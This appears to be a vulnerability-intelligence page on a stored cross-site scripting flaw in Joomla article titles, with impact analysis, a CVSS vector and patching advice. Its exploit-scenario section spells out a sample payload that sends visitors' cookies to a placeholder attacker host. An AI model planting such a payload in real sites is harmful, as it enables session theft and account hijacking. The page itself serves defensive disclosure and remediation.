Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While CVSS scoring data is unavailable, the vulnerability presents moderate-to-high real-world risk despite this gap. XSS in article titles qualifies as stored XSS with a broad attack surface-any site visitor viewing affected articles or title-dependent pages encounters the payload. The attack vector is network-based and requires no complex interaction, though it depends on an authenticated actor (article author/editor) to inject the payload initially. The primary limiting factor is privilege requirement: exploitation requires legitimate article creation/editing access, reducing the scope to trusted or compromised administrative/editor accounts rather than anonymous attackers. However, on sites with permissive user registration or where article creation is delegated to untrusted contributors, this becomes a critical vector for account hijacking, session theft, or further compromise. SSVC analysis: exploitation status is unconfirmed in available data (no CISA KEV or public POC noted); technical impact is high (integrity and confidentiality of user sessions); automatable by any authenticated editor. This prioritizes patching over immediate emergency response but elevates priority if your site permits user-generated article content. |
| Exploit ScenarioDerived | An attacker with compromised editor credentials (or legitimate access as a rogue contributor on an open-registration site) creates or edits an article with a title containing JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When site administrators, moderators, or regular visitors view the article list, category page, or search results displaying the title, the browser executes the payload, sending their session cookies to the attacker's server. The attacker can then replay the stolen session cookie to impersonate the victim, escalate privileges, or perform actions on their behalf. No public exploit code is documented in the provided intelligence, but the attack is trivial to execute for any authenticated user with article editing rights. |
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Alert meAnalysisAIv1 – Apr 01, 2026
Joomla CMS fails to properly escape article titles in output, enabling stored cross-site scripting (XSS) attacks across multiple locations. Attackers with article creation or editing privileges can inject malicious scripts into article titles that execute in the browsers of site visitors, potentially compromising user sessions, stealing credentials, or defacing content. The vulnerability affects all Joomla CMS versions and requires administrative action to remediate.
RemediationAI
Consult the official Joomla Security Centre advisory at https://developer.joomla.org/security-centre/1030-20260304-core-xss-vectors-in-various-article-title-outputs.html for the patched version number and upgrade instructions. Apply the vendor-released patch immediately to all Joomla CMS installations. As a temporary mitigation pending patch deployment, restrict article creation and editing permissions to trusted administrative accounts only, disable or carefully audit any plugins or extensions that extend article title output, and educate content editors that article titles should not contain HTML, JavaScript, or special characters-rely on Joomla's native title field validation. After patching, audit existing article titles in the database for suspicious content and sanitize or remove any that contain script tags or encoded payloads.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), a class flaw where user-controlled input (article titles) is rendered in HTML output without proper escaping or sanitization. Article titles in content management systems are typically stored in database fields and rendered in multiple output contexts: article listings, navigation menus, search results, category displays, and archive views. Without context-aware output encoding (HTML entity encoding, JavaScript escaping, or URL encoding depending on the output context), injected JavaScript payloads embedded in titles execute with the same privileges as the viewing user. This is a stored XSS variant because the malicious payload persists in the CMS database and affects all subsequent viewers.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U
Primary rating from Vendor (Joomla) · only source for this CVE.
CVSS VectorVendor: Joomla
DescriptionCVE.org
Lack of output escaping for article titles leads to XSS vectors in various locations.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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EUVD-2026-17859
GHSA-w5f8-qggr-8844
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB